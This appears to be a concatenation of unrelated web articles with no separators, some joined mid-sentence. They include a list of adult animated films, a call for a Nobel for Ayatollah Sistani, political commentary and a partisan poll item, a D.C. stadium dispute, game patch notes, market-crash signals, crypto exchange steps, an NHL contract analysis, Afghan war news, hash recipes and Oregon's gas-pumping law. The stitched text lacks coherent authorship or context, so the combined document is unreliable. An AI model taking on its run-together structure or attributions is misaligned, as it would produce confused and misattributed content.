One of Fritz’s more direct descendants was this bestiality-heavy French/Belgian spoof of the Tarzan legend, originally released in France in 1975. Though successful there, its first attempt at a US release in 1978 tanked; in the six years since Fritz, the X rating had come to stand for hardcore pornography, and the film’s distributors were unable to convince theaters to run it. So they hit on a solution: hire Americans to rewrite and redub it for domestic audiences and, in the process, soften its rating to an R. The writers they chose are why the film is remembered, even vaguely, today: Saturday Night Live legends Anne Beatts and Michael O’Donaughue, who in turn convinced SNL regulars John Belushi and Bill Murray to contribute voice performances, along with friends like Brian Doyle-Murray and Christopher Guest. Johnny Weissmuller Jr., son of the screen’s most famous Tarzan, also participated, voicing the lead character. But the film never got any traction, thanks to the elder Weissmuller bad-mouthing the film and, more damagingly, a suit from the estate of Edgar Rice Burroughs that claimed trademark infringement and forced the distributors to change its title while it was still in theaters.
South Park: Bigger, Longer, and Uncut
But Fritz’s most obvious offspring is the rude, brash humor of South Park, brought to the screen in the summer of 1999 for its first (and, oddly, thus far only) feature-film incarnation. Creators Trey Parker and Matt Stone, to their credit, didn’t just spit out a 90-minute episode of their TV show. In addition to the film’s masterful musical numbers (hinting at the Book of Mormon to come), they turned the film into a meta-text about the influence of pop culture — which would prove oddly, eerily timely with its release two months after the Columbine massacre — and the silliness of the movie rating system, provoking knowing chuckles from movie-goers who often saw it after multiple rounds of carding and ticket-checking at their local theaters.
Heavy Metal
This 1981 sci-fi/fantasy anthology film, based on the magazine of the same name, is pretty serious stuff, but it’s still got a surprising number of comedy names in the credits: Ivan Reitman (director of Ghostbusters, Twins, Dave, and many more) co-produces, from a screenplay by Len Blum and Daniel Goldberg (who wrote Reitman’s Meatballs and Stripes), with a voice cast that includes John Candy, Eugene Levy, and Harold Ramis. Full of graphic violence, sex, and a hard-rockin’ soundtrack featuring the likes of Devo, Blue Oyster Cult, and Cheap Trick, it was a box-office smash and midnight-movie favorite, prompting a 2000 sequel and endless talk of a remake.
Akira
Honestly, you could fill out this entire list with examples of anime (or whatever you’d label adult-oriented Asian animation), but we’ll keep it to two essentials. Katsuhiro Otomo’s 1988 classic (based on his manga of the same name) is deeply disturbing, frequently violent, and nightmarishly striking — it’s also pretty much indecipherable if you’re unfamiliar with the source material. But the storytelling wasn’t the takeaway here anyway; it was the film’s style, which would influence Western action and sci-fi for years to come.
Grave of the Fireflies
At the other end of the spectrum, yet coming from the same country in the same year, is Isao Takahata’s mournful, elegiac meditation on the end of the Second World War. Telling the story of two Japanese children made homeless by the dropping of the atomic bomb, it is, per Roger Ebert, “an emotional experience so powerful that it forces a rethinking of animation… This film proves, if it needs proving, that animation produces emotional effects not by reproducing reality, but by heightening and simplifying it, so that many of the sequences are about ideas, not experiences.”
Waltz With Bashir
Like Grave, Ari Folman’s Oscar nominee uses animation to dramatize a story of the horrors of war. Yet he also creates a hybrid form; as a filmmaker’s first-person journey to the heart of a painful and suppressed memory, featuring interviews with friends, colleagues, witnesses, and experts, it sounds like a standard documentary. But he uses a cut-out animation style to put a greater emphasis on the look of the film than most documentaries allow. And with total control of his visual palate, he can create images that are sometimes surreal and dreamlike, sometimes strikingly natural and real — and most importantly, that create a merging of the past and present.
Animal Farm
The barnyard story of pigs, donkeys, dogs, horses, and hens is, as you’ve probably guessed from the title, no Charlotte’s Web; based on the classic George Orwell novel, this 1954 film adaptation is a nasty piece of work, a political tale supplemented with violence, death, and mutiny. It’s also got an agenda of its own — two decades after its release, Watergate burglar E. Howard Hunt revealed himself as the point man for the film’s funding and production by the CIA (uncredited, obviously), who quietly changed the novel’s ending and repurposed it from commentary into propaganda.
Waking Life
Though it’s R-rated, it’s not like there’s anything all that objectionable for young moviegoers in Richard Linklater’s visionary 2001 feature. More than anything, it’s just hard to imagine a little kid sitting through it for long before throwing up her hands, wondering what all these stoners are talking about, and digging out Frozen.WASHINGTON, March 10, 2014 – Last week the UK Telegraph featured Forget Obama and the EU. The man who should really have the Nobel Peace Prize is an obscure Iraqi cleric. Today a growing chorus of voices are calling for Grand Ayatollah Sistani to be awarded the Nobel Peace Prize, both from the Middle East and the West.
The article says of Sistani, “he’s been an outstanding voice of moderation, peace and tolerance, without whom [Iraq] would probably be a far bloodier place than it already is.”
Grand Ayatollah Sistani, 83, is the world’s top Shiite leader, and the head of the Islamic seminary in Najaf, Iraq. He is widely credited as the reason that Iraq has not completely fallen into civil war, and the staunchest advocate for the Iraqi system of democracy. In relation to the Nobel Peace Prize, he has repeatedly both condemned and forbidden violence, saving countless lives.
“In the decade since [the war in Iraq began], the Shia community has suffered the most appalling provocation. Most of the car bombs that have gone off in Baghdad over the years have been targeted at Shia neighbourhoods, killing thousands. Sunni death squads regularly ambush Shia pilgrims as they head to Sistani’s city of Najaf, turning the annual holy festivals into a ritual slaughter. In 2006, al-Qaeda also bombed the Shia holy shrine at Samarra, an act roughly the equivalent to destroying St Peter’s Basilica… “…Yet throughout all this bloodshed, Sistani has beseeched ordinary Shias not to retaliate.”
At the same time that the Telegraph was calling for Ayatollah Sistani to win the Nobel, so was a major Iranian newspaper, the Tehran Times, marking an unusual instant of agreement between Western and Iranian news media.
It’s hard to pinpoint when the first call for the Grand Ayatollah to win the prize was. In 2005, Pulitzer Prize winning reporter Thomas Friedman wrote an article entitled A Nobel for Sistani that said:
“Mr. Sistani has also contributed three critical elements to the democracy movement in the wider Arab world. First, he built his legitimacy around not just his religious-scholarly credentials but around a politics focused on developing Iraq for Iraqis… “The second thing that Mr. Sistani did was put the people and their aspirations at the center of Iraqi politics, not some narrow elite or self-appointed clergy …, which is what the Iraqi election was all about. In doing so he has helped to legitimize “people power” in a region where it was unheard of… “Third, and maybe most important, Mr. Sistani brings to Arab politics a legitimate, pragmatic interpretation of Islam, one that says Islam should inform politics and the constitution, but clerics should not rule. “… All I have to say is: May he live to be 120 – and give that man a Nobel Prize.”
A year later, according to the Telepgraph “a group of Iraqi Christians nominated him for the Nobel Peace Prize in 2006, for giving ‘Muslims all around the globe a good example how to follow peaceful ways’.”
Past Nobel Peace Prize winners have been controversial. In 2013 the Nobel committee unusually awarded the Organisation for the Prohibition of Chemical Weapons (OPCW) “for its extensive efforts to eliminate chemical weapons.” OPCW has more than 180 member countries (and funding from many of them), yet as of today has only eliminated less than 1/3 of Syria’s chemical weapons stockpile.
The committee avoided awarding Malala Yousafzai the award, despite her successful efforts to combat the influence of the Taliban, promote women’s empowerment, and advocate for peace.
In 2012 the committee gave the award to the entire European Union for unclear reasons.
The final decision on this year’s award will be made in October 2014. Other nominees are yet to be announced.CNN’s Jake Tapper observed this afternoon that it doesn’t look like Hillary Clinton has done much introspection on why she lost the 2016 race.
Last week Clinton opened up about her loss and brought up “the combination of the Comey letter” and Wikileaks, saying that Putin wanted to spread “distrust and confusion.” The 2016 candidate also said that misogyny “played a role.”
Kirsten Powers observed, “Never in this equation is Hillary Clinton to blame for anything.”
She said there were certainly outside factors that led to her loss, but there were also a lot of problems within the campaign. Tapper made this observation:
“There’s a whole list of reasons why she didn’t win. But she doesn’t seem to have done enough introspection… when it comes to––you know, Putin didn’t tell you don’t go to Wisconsin, James Comey didn’t tell you [to] call one quarter of the country ‘deplorable.'”
Watch above (especially to see what Tapper had to interrupt his remarks about Clinton to mention), via CNN.
[image via screengrab]
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Follow Josh Feldman on Twitter: @feldmaniac
Have a tip we should know? [email protected] Administrator Allen Y. Lew’s response to a proposed community benefits agreement didn’t go over well. (The Washington Post)
Officials from the District government and the D.C. United soccer team aren’t seeing eye-to-eye with neighbors and community organizers in Southwest about what benefits the city and team ought to provide to the community as part of a deal to build a 20,000-seat soccer stadium on Buzzard Point.
Some residents of Southwest, along with members of a coalition of advocates including the Near SE/SW Community Benefits Coordinating Council and the D.C. Fiscal Policy Institute, wrote City Administrator Allen Y. Lew and the team’s ownership last month asking for them to fund a package of services that they said would help low-income residents benefit from the deal, including job training, traffic improvements, small-business opportunities and preservation of public and low-income housing.
The requests totaled more than $5 million initially and included additional future payments over the 30-year lease of the $300 million project.
Lew and Tom Hunt, chief operating officer for the team, responded in a joint letter Oct. 10 outlining a series of transportation, workforce development and housing initiatives that either have been undertaken in planning the stadium or which they said the District already provides through existing programs.
(A copy of the community’s proposed agreement is online here. The response by the team and city is posted here.)
Rather than proposing different dollar amounts to the community’s request for aid to Southwest, Lew and Hunt made clear they believe the entire District ought to benefit from the stadium project and asserted that in many cases existing city programs were capable of meeting those needs.
For instance, in response to the community’s request for a revolving $500,000 workforce training fund to benefit residents of Advisory Neighborhood Commission 6D, Lew and Hunt wrote that “it does not make sense to create a separate and standalone employment program for ANC 6D residents. The District is, however, committed to working with the CBCC to ensure that ANC 6D job-seekers are successful in accessing these existing programs.”
Similarly, in response to the request for a $750,000 small business incubator fund, Lew and Hunt wrote that “it does not make sense to develop a separate standalone program” from the city’s current small business programs.
To a request that the team create a series of recreational and educational programs for elementary and middle-school students in the neighborhood, Hunt said the team planned to continue and expand its charitable programs in the city, including at Amidon-Bowdern Elementary School, and offered an additional 25 scholarships to low-income students in the neighborhood for the team’s week-long summer camp.
The response did not go over well. Felicia Couts, a CBCC coordinator, said the response amounted to a “slap in the face” and that she and other organizers had decided that rather than respond they would try to bypass the administration and appeal directly to the D.C. Council to get the stadium package to require a legally binding community benefits agreement in stadium authorizing legislation.
“Basically the city says no to everything,” Couts said. “The city’s response basically was there are programs for that, you need to get with the program. Or, this deal is going to serve all of District residents we don’t see any need to specify anything for the 14,000 people in Southwest.”
“This is a neighborhood here. There are going to be people affected unless there are certain subsidies to help bear the brunt of those adverse affects,” she added. “For you to basically slap us in the face and tell us to go away…I don’t see where they’ve left us any type of room for negotiation by telling us no to every last thing that we asked for.”
Spokesmen for District and the team declined to elaborate, saying the letter spoke for itself.
Even Lew’s attempts to specifically address some of the advocates’ concerns may have struck a nerve. He sought for instance to assuage concerns about how the project would affect public housing communities nearby by including a statement from D.C. Housing Authority Executive Director Adrianne Todman.
Todman’s letter, however, raised the prospect that some of those properties could be redeveloped, writing that her agency “is firmly committed to preserving the same (or higher) number of housing it owns that are available to low income families.” Todman said the housing authority is reviewing its properties including those in Southwest and will be determining which need to be redeveloped and which will simply require minor upgrades.
Overall, Couts said the letter was such a disappointment that she has begun meeting with members of the D.C. Council to push for the inclusion of a binding agreement in stadium legislation, which could be considered shortly after the Nov. 4 election.
Follow Jonathan O’Connell on Twitter: @oconnellpostbizAugust 20th 10:25 PM Update: Ooooops! There was a terrible game-breaking bug in the build that I uploaded earlier today. I’ve uploaded a new build with the bug fixed. Sorry!
As I make progress on Osana, I fix the various bugs I come across. When enough bug-fixes have piled up, I release a new build…like this one!
To see a list of everything that is different in the latest build, scroll down beneath this gorgeous artwork by Aoi Nishida!
Fixes, Changes, and Additions
The player is no longer allowed to set a bucket trap anywhere in the gardening club (it was possible to lock yourself into the shed or greenhouse by setting a trap while inside those buildings).
The player can no longer talk to a student immediately after telling the student to go away. (The student has to finish their “go away” routine first.)
Attempted to fix bug that would prevent Kokona from entering an “attack reaction” animation if she was attacked while she was bathing.
Fixed bug that would cause Pose Mode to break when attempting to give a teacher a hairstyle with an ID lower than “1”.
Fixed bug that would cause Gardening Club members to get stuck on objects when walking around the gardening club.
Distracting sounds (giggles, radios) can no longer distract a student who is checking their locker for a note.
Fixed bug that prevented the player from being able to slow down time while in Yandere-chan’s room.
Fixed a few hair models that weren’t being affected by sunlight changing color throughout the day.
Fixed bug that created a visible gap between the walls and ceiling in Yandere-chan’s basement.
Fixed bug related to asking a student to distract Sakyu Basu during her lunchtime ring event.
Changed the music that plays during the “Slender” and “X-tan” easter eggs.
Adjusted the collision boxes for the doors at the school entrance.
Restored hair physics to Kokona’s hair.As we reported first, last week saw the second confirmation of the Hindenburg Omen, most recently sighted for the first time on August 12. Presumably this is an indication of putting one's money where one's mouth is (and away from the market).
From the WSJ:
The latest trigger has prompted the Omen’s creator, Jim Miekka, to exit the market. “I’m taking it seriously and I’m fully out of the market now,” Miekka, a blind mathematician, said in a telephone interview from his home in Surry, Maine. “I would’ve probably stayed in until the beginning of September,” depending on how the indicators varied. “That was my basic plan, until the Hindenburg came along.”
The Omen has been behind every market crash since 1987, but significant stock-market declines have followed only 25% of the time. So there’s a high likelihood that the Omen could be nothing more than a false signal.
But that isn’t stopping Miekka from taking any chances, especially as September, typically the market’s worst-performing month, sits only one week away.
“It’s sort of like a funnel cloud,” he said. “It doesn’t mean it’s going to crash, but it’s a high probability. You don’t get a tornado without a funnel cloud.” He added he’s not currently shorting anything, although he may look to short Nasdaq stock index futures in the next few weeks, “depending on how the technicals go.”
Despite the ominous forecast, there are some glimmers of hope. Miekka doesn’t expect to sit on the sidelines for very long. In fact, Miekka, who is an avid target shooter despite being blind, is looking at put volumes and various moving averages that will offer clues of when he will start buying again.The exchange page can look overwhelming at first, but don't worry, we're only going to use a small part of it.
There are two ways of buying coins:
A 'Limit' order, which lets you manually set the price at which you want to buy ETC.
A 'Market' buy, which fills your order automatically at the best price available.
As market buy is the simpler of the two options we'll go with that.
Look for the big green 'Buy ETC' button.
Above it, click the 'Market' option.
In the input box marked 'Amount' you now need to fill in how many ETC you'd like to buy. It may be easier to use the percentage buttons below the input box- for example, press 50% if you'd like to exchange 50% of your Ethereum for ETC.
When you're happy with the amount, press the buy button.
Your order will be filled immediately.The raw excitement of planetary exploration is captured at Celebrate Curiosity, with over 1000 of your fellow explorers, friends, party goers, celebrities, scientists, artists, and space enthusiasts. Join us, as we take a thrilling dive into discovering the possibilities at the cosmic frontier in style!
TICKETS: http://marsparty2012.eventbrite.com/
Our Martian Party kicks off after the first day of Planetfest and spans two floors for an out-of-this world experience! As you mingle with your friends and make new ones along the way, keep your eyes peeled back for space industry persons of interest from Virgin Galactic, SpaceX, and NASA. During the course of the evening, catch sightings and conversations from the most interesting Space Entrepreneurs, Sci-fi Authors, Screen Stars, and Personalities.
Bill Nye the Science Guy at BlackStarr’s Yuri’s Night, April 2012
What to expect at Celebrate Curiosity:
Customized t-shirts printed while you wait
printed while you wait Interactive galactic art by Andrea Lofthouse, NASA JPL’s Dan Goods, and others
CEO of The Planetary Society, Bill Nye the Science Guy, SpaceX’s Elon Musk, and hosts breakout talks
, and hosts breakout talks Short speaker sessions from prolific space advocates!
Enjoy tasty Martian treats and cosmic drink specials
Interactive video games from GameDesk
Gorgeous Spacecraft models displayed for your enjoyment
displayed for your enjoyment Giveaways from the Planetary Society
from the Planetary Society Get dazzled with spaced out music spun by Ancient Lasers and our Suprise Guest DJ
and our Dance to the undulating cosmic lights of the Jellypuss
Adorn yourself with a selection of complimentary blinky lights and glowey things
with a selection of complimentary blinky lights and glowey things Witness live art in the making, interstellar wall projections, and adult games
Intergalactic Girls passing out Space Swag from the likes of SpaceX, NASA, and more
passing out from the likes of Delicious Astronaut Icecream and Space food Sticks from Funky Foods
Amazing lightshows with some far-out Tesla Coils!
LED Hula Artists!
Don’t forget to show off your Martian themed apparal by taking pictures at one of our two sassy souvenir photo boothsBoom! Donald Trump Holds 26 POINT LEAD in Latest Oregon Poll
So much for that Cruz-Kasich alliance.
Earlier this week Ted Cruz and John Kasich agreed to collude against Donald Trump.
Cruz would campaign in Indiana and Kasich would campaign in Oregon and New Mexico.
But they didn’t expect this.
In the latest Oregon poll Donald Trump opened a 26 point lead drawing 43 percent of the vote.
The Washington Examiner reported:
Donald Trump leads both of his opponents by double digits in a new survey of Oregon Republicans, suggesting that John Kasich has significant ground to make up ahead of the state’s May 17 primary if he wants to strongly challenge the billionaire there. According to the survey from the Hoffman Research Group, Trump currently draws 43 percent support among GOP voters in the Beaver State. Texas Sen. Ted Cruz, who vowed not to campaign in the state as part of a deal he made with Kasich, follows at 26 percent, while the Ohio governor is a distant third at 17 percent support. Kasich’s campaign has already planned a number of campaign stops in both Oregon and New Mexico, states where the governor feels he has the best chance of drawing votes away from Trump. He and Cruz made news earlier this week for agreeing to campaign in separate states as part of a joint strategy to prevent Trump form reaching the 1,237 delegates needed to secure the GOP nomination.Esteban Bellán was a pioneer. In 1871, the half-Irish Cuban became the first Latin-born player in a top professional league. Bellán, a pro since 1868, played for the Troy Haymakers in the National Association, which predated the familiar National League. He continued with Troy and the New York Mutuals through 1873.
After that season, he then returned home and helped build the game in Cuba. He wasn’t the first to introduce baseball there; other Cuban players were also trained in America, one or two predating Bellán’s return to the island, and American sailors had been playing on Cuban soil since at least 1866. Yet as player-manager of the leading team in the country, the Habana club, Bellán played an integral role in warming the native people to the sport that would eventually consume the nation.
Bellán was nicknamed the “Cuban Sylph” for his graceful play in the infield. During the barehanded era, he had sure hands and stopped the hardest-hit balls. As the Troy Daily Whig put it, “Steve has courage and activity, laces the hottest liners [and] grounders and [is] an accurate thrower to the bases.” Despite the latter compliment, game recaps throughout his brief career in the United States remarked more than a few times on his erratic throwing. Bellán was also quick, known to be the fastest on the bases among his teammates.
Esteban B.
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this study defines as sexually explicit material intended to arouse the viewer, has increased dramatically in recent decades, as technology has made it easier to access. Research into the social factors that may make some people more likely to watch pornography than others has identified religion as especially important in this regard, with high religiousness being related to low pornography use.
While the prevailing view has been that religious groups’ disapproval of pornography makes highly religious people less likely to use it, others have argued that pornography users are more prone to drifting away from religious practices.
A study conducted by Samuel Perry, of the University of Oklahoma, followed the same individuals over a period of six years (from 2006 to 2012), measuring their levels of pornography use and religiousness at each time point, to help understand in which direction this influence operates. The study sample included 1,314 adults who were representative of the US population as a whole. Study participants indicated, at each time point, how often they viewed pornography, as well as several questions about their religious practices.
Analyses showed that even after statistically controlling for background factors, such as age and gender, more frequent use of pornography in 2006 was related to lower religiousness in 2012. This was true even after accounting for religiousness in 2006, which indicates that pornography use in 2006 was related with subsequent changes in religious involvement over the course of the next six years.
The nature of this relationship was complex. Pornography consumption was related to decreased subsequent religiousness until the rate of consumption became more frequent than about once a week, at which point increasing pornography became related to subsequent increases in religiousness. These findings were the same for both men and women.
The author concludes that pornography use may have an impact on changes in religiousness. Exposure to pornography may make people feel guilty about violating the rules of their religion, leading them to distance themselves from religious activities. The most frequent pornography viewers, on the other hand, may find ways of rationalizing their behavior to avoid feeling at odds with their religious convictions. Some may also turn to religion as a means of overcoming or atoning for a behavior that makes them feel guilty. Religious leaders in particular may find it useful to note that heavy pornography use may drive some closer to religion rather than further away.One of the most intensely debated moves in the entire NHL last season was Marc Bergevin and the Montreal Canadiens signing P.K. Subban to a two-year $2.875M cap hit deal instead of a long term deal that could provide savings later. It's been written about on Puck Daddy, Backhand Shelf, Driving Play, and even a few non-Habs team blogs that took interest in it.
There are differing opinions as always, but the consensus seems to be that the Canadiens made a serious mistake not signing Subban to a longer deal. Not only was he going to have a higher cap hit on his next deal anyway, but winning the Norris Trophy usually comes with a pay raise.
In order to figure out whether or not signing Subban to a bridge contract was smart, we're going to have to use a fair set of assumptions. Chief among these is that the NHL will continue to see the same average growth that they've had since the previous lockout, and the ensuing effect that will have on the salary cap.
The second major assumption is that Erik Karlsson's contract is Subban's closest comparable (signed last year days before winning the Norris, one year younger). Because of that, we're going to use Karlsson's contract as the basis of Subban's contract as far as structure goes.
Next, we'll be looking at the two most commonly rumoured contracts that Subban's camp was after, a five-year deal worth $25M, and a six-year deal with $36M. The reason we're going to look at those contracts specifically is because we don't live in fantasy land. Lots of fans wanted to sign Subban to an eight-year contract worth $5M a year, and I'd like to own an tiger that obeys my every command and doesn't smell bad, but this isn't a fairy tale.
Methodology
For the purposes of this exercise, I'm going to ignore the fact that a five-year contract would have bought only one UFA year for the Canadiens and was therefore never on the table in the first place, and instead we're going to measure Subban's cap hit impact over the ten years of his current bridge contract and an eight-year extension using the percentage of the (estimated) cap that his contract would eat up on average over each deal.
The salary cap
What will the salary cap look like over the next few years? Over the previous CBA it went up on average by 8.9% per year, which would give us the following breakdown starting with last year's inflated cap:
Year Estimated salary cap 2012-13 $70.2M 2013-14 $64.3M 2014-15 $70.0M 2015-16 $76.2M 2016-17 $83.0M 2017-18 $90.3M 2018-19 $98.3M 2019-20 $107.0M 2020-21 $116.5M 2021-22 $126.8M
What will Subban's contract extension look like?
It's always a bit of a problem trying to calculate what a contract might look like, but I think we can get a good general idea using Erik Karlsson's contract from last year since the salary cap is almost the exact same and the players are in essentially the same situation as well.
Karlsson is paid an average of $6M per year on his remaining four restricted free agent years, $7M for his first two unrestricted years, and $7.5M in his last one. Considering a slightly lower salary cap and that Subban will be signing after winning the Norris instead of just before, I think it's fair to say that he'll be getting more money than Karlsson in each year, but not absurdly more.
It's been estimated that a major award win is worth about $1M extra per year in salary for UFA years, so we'll half that for his RFA years. For the sake of being liberal with estimates on the high side, we'll say that Subban gets a raise in his eight-year extension every two seasons, similar to what Karlsson got. This means his contract structure looks like this:
Year Status Salary 2014-15 RFA $6.5M 2015-16 RFA $6.5M 2016-17 UFA $8M 2017-18 UFA $8M 2018-19 UFA $8.5M 2019-20 UFA $8.5M 2020-21 UFA $9M 2021-22 UFA $9M Annual Average - $8M
$8M per year is likely on the high side for what most Canadiens fans want to see Subban get paid on his next contract (it will make him the highest paid defenseman in the NHL), but I think that's around where it will be. But how does this compare to the other floated deals? Well, for that, we have to figure out what he would be paid on his next deal in both situations; one for five years and one for four. That's easy enough though; all you have to do is multiply the percentage of the cap Subban's salary takes up in the remaining years of that deal by the projected cap in the year he's signing his new deal. What we come up with is the following three scenarios over the 10 years Bergevin could sign Subban for.
The nitty gritty
Year Scenario 1 cap hit Scenario 2 cap hit Scenario 3 cap hit 2012-13 $2.875M $5M $6M 2013-14 $2.875M $5M $6M 2014-15 $8M $5M $6M 2015-16 $8M $5M $6M 2016-17 $8M $5M $6M 2017-18 $8M $11.4 $6M 2018-19 $8M $11.4 $12.5 2019-20 $8M $11.4 $12.5 2020-21 $8M $11.4 $12.5 2021-22 $8M $11.4 $12.5 Average % of annual cap space 7.78% 8.81% 9.3%
As you can see, the results are pretty staggering. Bergevin was dealt a serious blow when the cap crunch was announced for 2013-14, and he had to form his team around the incoming six million dollar drop in cap space. What he ended up doing was creating a scenario where he doesn't just get Subban at a severe discount for two years, he's likely to get better value over the next decade, carrying Subban to the age of 33.
Even more surprising is that even if Bergevin isn't as good of a negotiator over the next year and Subban's annual average isn't $8M, but $9M over the course of eight years, the average percentage of annual cap space he would take up would be 8.64%, still lower than the other two situations, and that's without adjusting the higher salaries for those UFA years.
By taking advantage of two UFA years over the course of Subban's contract that covers his prime years, Bergevin may have made a genius stroke.
And just for the record, I was vehemently against the bridge contract. This isn't an "I told you so", it's an "I was wrong".KABUL (Reuters) - Afghan security forces backed by air strikes have been fighting to retake a district in the western province of Ghor since it fell to the Taliban earlier this week, officials said on Thursday.
The insurgents took control of the district center of Taywara - the main town of the rural area - on Sunday as part of a broad push that saw heavy fighting across much of the country.
Since then, government forces have pushed back. Local police spokesman Nazami, who like many Afghans goes by one name, said “large parts of the district” had been retaken in an operation involving hundreds of Afghan troops backed by local militia forces and air power.
U.S. military headquarters in Kabul said it had not conducted any strikes in Ghor. “All of the strikes were taken by the Afghan Air Force,” spokesman Capt. Bill Salvin said in an emailed statement. “That is a demonstration of the AAF’s growing capability to support (Afghan) troops on the ground.”
Local Governor Naser Khazeh said fighting had been difficult because roads to the district had been heavily mined and Taliban fighters were firing from civilian houses. He said government forces were close to the district center and the whole Taywara district should be retaken by the end of the week.
Security forces have struggled to control Ghor, a remote mountain province with sharp ethnic and tribal divisions and illegal armed groups that operate with impunity.
The Taliban have long had a strong presence and more recently, Afghan security officials say, fighters loyal to Islamic State have established themselves in the province.
The Taliban, fighting to re-establish strict Islamic rule in Afghanistan since being driven from power by the U.S.-backed campaign of 2001, control or contest around 40 percent of the country and have stepped up their offensive over the past week.
Earlier this week, around 30 Afghan soldiers were killed when the insurgents took an outpost in the southern province of Kandahar and there has also been heavy fighting in the opium-rich province of Helmand as well as northern areas including Faryab, Baghlan and Badakshan.
The fighting comes as the United States continues to weigh its policy approach to Afghanistan. An additional 4,000 U.S. troops are expected to be sent to boost the training and advisory mission but an announcement has been delayed amid reports of disagreements within the administration.One of my first run-ins with hash was a gastronomic awakening, literally. In fact, I was barely conscious -- ears still ringing, senses plastered over from the previous evening's excess -- when it called to me.
Heaped into a chafing dish in a drab basement bar, Chiclet-size cubes of potato were suspended in an emulsion of meat that looked as if it had been extruded from a toothpaste tube. Hardly appetizing. But when topped with an egg, brightened with a few shakes of hot sauce and paired with a bloody mary, this humble plate soothed my suffering head and renewed my morning. I'd found my hangover breakfast, and ever since I've turned to it again and again.
Hash is inelegant, frankly, with a less-than-eloquent name and a somewhat sketchy history. The name first shows up in English in the mid-17th century, derived from the French word "hacher," which means "to chop." But when I set out to track down the dish's true origins and a recipe to match, I found historic references popping up all over Europe and America.
In the 19th century, restaurants serving inexpensive meals became known as hash houses. Canned corned beef was a mainstay for British soldiers during both world wars. Eaten cold straight from the can and lacking potatoes, butter and other nice flavors, this "bully beef" probably would make a hangover worse. Not quite what I was looking for.
Mary Johnson Lincoln's 1884 "Boston Cook Book" includes a dish that resembles modern-day hash. Lincoln calls for equal parts meat and potatoes, or two parts potatoes to one part meat, all of it to be finely minced and cooked in a spider, a cast-iron skillet with legs that elevate it over a fire. She cites the importance of fat in the dish and warns against stirring, which would prevent the formation of a rich, brown crust. Now I was getting somewhere.
At the close of the 19th century, here in Washington hash was making headlines. Maggie Maloney, the cook for influential Ohio senator Mark A. Hanna, made a renowned corned beef hash for the regular breakfasts he hosted for friends, the president and political adversaries. Political dignitaries angled for breakfast invitations as Hanna added leaves to his morning table. On more than one occasion, the New York Times reported, Maloney's hash "brought the light of reason to recalcitrant legislators."
Imagine: corned beef hash so good it had become a tool of persuasion, so good it entitled Maloney to a $25,000 inheritance after Hanna's death. That's a pretty impressive sum considering Hanna's entire estate was valued at $150,000. That was the hash I had to have at home. Unfortunately, Maloney's recipe, though widely distributed at the time, never fully captured her masterpiece, which it was said could never be reduced to mathematical demonstration. But times have changed, and so, hopefully, has the ability to capture food wisdom on paper.
At Cafe du Parc downtown, just a few blocks but more than a century away from the Hanna breakfasts, chef Christophe Marque prepares a traditional hash that's requested by many overnight guests. His is a distant relative to the food-service canned varieties, and the extra attention produces notable results. When prepared with freshly cooked corned beef, fingerling potatoes, sweet peppers and mushrooms, this otherwise pedestrian dish approaches the sublime. [Recipe: Cafe du Parc Corned Beef Hash]
But hash isn't reserved for corned and roast beef alone. In fact, any combination of chopped ingredients cooked together in a single skillet could be worthy of the title.
Will Artley, executive chef of the Evening Star Cafe in Alexandria, explored many incarnations while tweaking a new brunch menu. Artley, 32, thinks of hash as cowboy cooking: a one-pot meal using what's on hand. Standing over a six-burner stove that belched more heat than a bonfire, Artley prepared a wild mushroom and asparagus hash bound in a cream sauce spiked with soft cow's milk cheese, making for a dish so rich you don't miss the meat. [Recipe: Mushroom and Asparagus Hash]
Andouille sausage with sweet potatoes; prosciutto, fingerling potatoes and fennel; tasso ham with black-eyed peas and blue cheese. Artley navigated his walk-in like a choose-your-own adventure, turning out hashes with flavors from around the globe. In between plating one version and prepping the next, he told of a breakfast hash his mother used to make regularly. Eggs, tortillas and tomatoes lent a decidedly Mexican flair to a dish that can use almost any mixture of proteins and starch, cooked to crisp perfection. [Recipe: Sweet Potato and Andouille Hash]
With so much left to interpretation, what elements are common to a transcendent hash? For me, anything that grabs the leftovers of a previous meal and spins them in a new direction is a good start. Chances are if last night's meal was well thought out, the flavors will get along together nicely the next day. After all, one reason hash is identified with Saint Patrick's Day is the Irish appreciation of corned beef and potatoes, brought together with cabbage and other vegetables in a boiled dinner or the next morning as hash.
For all of hash's flexibility, the standard remains corned beef: gently boiled, then shredded with whatever fat didn't render out in the cooking liquid. Onion and earthy mushrooms cooked in ample butter. Boiled or steamed potatoes cooked till soft but not mushy, the perfect state to absorb the surrounding flavors.
That's just the start. If it is to realize its full potential, a great corned beef hash must be enlivened with something bright. Whether you choose a simple shake of hot sauce for heat, a squeeze of lemon or a tangle of greens dressed in vinaigrette alongside, acid cuts through the richness of an otherwise heavy dish.
Much of that richness comes in the crowning touch: an egg. Fried or poached, it doesn't matter, so long as the center remains viscous when served. Early Phoenicians thought that a primeval egg had split open to form heaven and earth. Liberated with the tines of a fork, a runny yolk gushes to enrobe a down-to-earth dish in a heavenly sauce.
Food this good makes it easy to see how Hanna's adversaries found it difficult to oppose him. Come to think of it, I'm not really happy with my latest property tax assessment. Perhaps I'll have the City Council over for breakfast.
Scott Reitz is a freelance food writer who lives in Alexandria.In an era where full service gas pumping seems to be a thing of the past, Oregon not only still offers this type of service to its citizens but the “beaver state” also does not offer them any other choice – Oregonians are not allowed to pump their own gas! Of fifty states, only two do not allow “self-service dispensing of Class 1 flammable liquids at retail”. New Jersey is the other state that keeps its drivers in the driver’s seat when filling up their tanks.
When told that Oregonians aren’t allowed to pump their own gas, the first question out of people’s mouths is typically, “Really?” which is almost always followed in the same breath with, “Why?” Why on Earth would licensed drivers not be trusted to fill up on their own? It’s not exactly rocket surgery, after all. The answer lies, of course, in the State laws. New Jersey enacted the necessary legislature to ban people from pumping their own gas in 1949. This was just two years after the first self-service gas stations in the U.S. opened up in California, with the popularity of self-service exploding like the gas fires Oregon and New Jersey legislatures were so afraid of when they passed laws banning it.
Oregon decided self-service was a safety hazard two years after New Jersey, in 1951, and the legislators went so far as to include 17 reasons why they think people filling up their own gas tanks is a bad idea and today you’ll get a nice $500 fine if you try to break the rule. [Editor’s note: I once tried to break it driving through Oregon in the middle of the night. The person who was supposed to come pump my gas didn’t come out right away, and I wasn’t inclined to wait. The second he saw me lift the nozzle from the machine, though, he came-a-sprinting. Of course, by this time, everything was set to go, but it turned out OK because the trained Gas Dispenser Technician, as I like to think of them as, was the one to pull the trigger on the dispenser nozzle. *explosion-averted* ;-)]
